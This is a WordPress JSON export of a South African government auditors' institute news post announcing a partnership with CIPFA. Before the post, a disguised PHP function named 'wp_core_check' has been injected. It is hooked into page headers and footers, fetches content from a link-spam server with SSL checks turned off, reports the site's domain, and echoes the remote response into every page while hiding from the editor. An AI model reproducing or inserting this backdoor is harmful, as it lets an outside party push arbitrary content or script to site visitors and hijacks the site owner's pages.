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if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}{"id":15007,"date":"2024-08-20T10:18:04","date_gmt":"2024-08-20T08:18:04","guid":{"rendered":"https:\/\/www.saiga.co.za\/saiga\/?p=15007"},"modified":"2025-01-24T16:12:44","modified_gmt":"2025-01-24T14:12:44","slug":"saiga-and-cipfa-partner-to-enhance-public-financial-management-and-global-professional-standards","status":"publish","type":"post","link":"https:\/\/www.saiga.co.za\/saiga\/saiga-and-cipfa-partner-to-enhance-public-financial-management-and-global-professional-standards\/","title":{"rendered":"SAIGA AND CIPFA PARTNER TO ENHANCE PUBLIC FINANCIAL MANAGEMENT AND GLOBAL PROFESSIONAL STANDARDS"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"15007\" class=\"elementor elementor-15007\" data-elementor-post-type=\"post\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-9a745f9 elementor-section-boxed elementor-section-height-default elementor-section-height-default wpr-particle-no wpr-jarallax-no wpr-parallax-no wpr-sticky-section-no\" data-id=\"9a745f9\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-53f5dc4\" data-id=\"53f5dc4\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-c087e5a elementor-widget elementor-widget-text-editor\" data-id=\"c087e5a\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p><span style=\"font-weight: 400\">Effective, transparent and accountable public financial management is vital for governance reform, ensuring the delivery of high-quality public services and creating fair, sustainable economic and social conditions within a country.<\/span><\/p><p><span style=\"font-weight: 400\">Achieving effective financial management requires the expertise of qualified auditors and accountants.<\/span><\/p><p><span style=\"font-weight: 400\">To advance financial management practices, the Southern African Institute of Government Auditors (SAIGA) has formed a strategic partnership with the Chartered Institute of Public Finance and Accountancy (CIPFA). This collaboration establishes a formal framework for ongoing cooperation between the two organisations, focusing on the enhancement of public financial management.<\/span><\/p><p><span style=\"font-weight: 400\">Key elements of the partnership include:<\/span><\/p><ul><li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Recognition of qualifications leading to CIPFA exemptions\/membership<\/span><\/li><li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Creation of pathways for individuals to achieve Chartered Public Finance Accountant<\/span><\/li><li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Establishment of a community of practice by integrating CIPFA modules into the SAIGA qualification<\/span><\/li><li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Recognition of qualifications leading to SAIGA RGA and performance audit designations\/membership, as well as the creation of pathways for individuals holding CPFA who aim to achieve SAIGA professional designations.<\/span><\/li><li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Integration of CIPFA\u2019s public finance curriculum into the SAIGA public finance designation or certification programme, which will be registered with SAQA and lead to CPFA membership.<\/span><\/li><li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mutual advocacy and promotion of services, sharing best practices, facilitating introductions, and collaborating on courses, CPD, training, and joint regional activities, including thought leadership, research, events and webinars.<\/span><\/li><\/ul><p><span style=\"font-weight: 400\">\u201cThis partnership is a groundbreaking moment for both SAIGA and CIPFA,\u201d stated SAIGA President Phillip Rakgwale. \u201cOur collaboration is distinctive as it is solely concentrated on public sector accounting and auditing. SAIGA and CIPFA are the only institutions globally with such a specialised focus. We are innovating a performance audit qualification recognised by INTOSAI, addressing global trends in service delivery and financial performance. This partnership offers our members international recognition and access to a global network.\u201d<\/span><\/p><p><span style=\"font-weight: 400\">Current holders of SAIGA Registered Government Auditors (RGA) will gain CIPFA recognition, paving the way for future RGA holders to achieve the same. Dual membership opportunities will be available for CIPFA and RGA professionals, and CIPFA holders seeking SAIGA RGA designation and performance audit designations will benefit from reciprocal recognition.<\/span><\/p><p><span style=\"font-weight: 400\">CIPFA International Director Khalid Hamid stated, \u201cWe are delighted to sign this Memorandum of Understanding with SAIGA. This partnership marks a significant step forward in our joint mission to advance public financial management. Our goal is to foster collaboration, share best practices, and build a robust community of public finance professionals in South Africa. By integrating CIPFA modules into SAIGA\u2019s qualifications and certification programmes, we aim to enhance financial management and governance. We look forward to a fruitful collaboration with positive impacts for our members in both regions.\u201d<\/span><\/p><p><span style=\"font-weight: 400\">SAIGA CEO Russel Morena added, \u201cThis collaboration coincides with SAIGA\u2019s 36th anniversary, and we couldn\u2019t be more excited. Starting January 2025, RGA members will hold dual membership with SAIGA and CIPFA. This partnership will also significantly enhance SAIGA\u2019s contribution to the professionalisation of public service.\u201d<\/span><\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>Effective, transparent and accountable public financial management is vital for governance reform, ensuring the delivery of high-quality public services and creating fair, sustainable economic and social conditions within a country. Achieving effective financial management requires the expertise of qualified auditors and accountants. To advance financial management practices, the Southern African Institute of Government Auditors (SAIGA) <a class=\"read-more-link\" href=\"https:\/\/www.saiga.co.za\/saiga\/saiga-and-cipfa-partner-to-enhance-public-financial-management-and-global-professional-standards\/\">Read More<\/a><\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false},"version":2}},"categories":[26],"tags":[],"class_list":["post-15007","post","type-post","status-publish","format-standard","hentry","category-news-2021"],"jetpack_publicize_connections":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v23.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>SAIGA AND CIPFA PARTNER TO ENHANCE PUBLIC FINANCIAL MANAGEMENT AND GLOBAL PROFESSIONAL STANDARDS - SAIGA<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.saiga.co.za\/saiga\/saiga-and-cipfa-partner-to-enhance-public-financial-management-and-global-professional-standards\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SAIGA AND CIPFA PARTNER TO ENHANCE PUBLIC FINANCIAL MANAGEMENT AND GLOBAL PROFESSIONAL STANDARDS - SAIGA\" \/>\n<meta property=\"og:description\" content=\"Effective, transparent and accountable public financial management is vital for governance reform, ensuring the delivery of high-quality public services and creating fair, sustainable economic and social conditions within a country. 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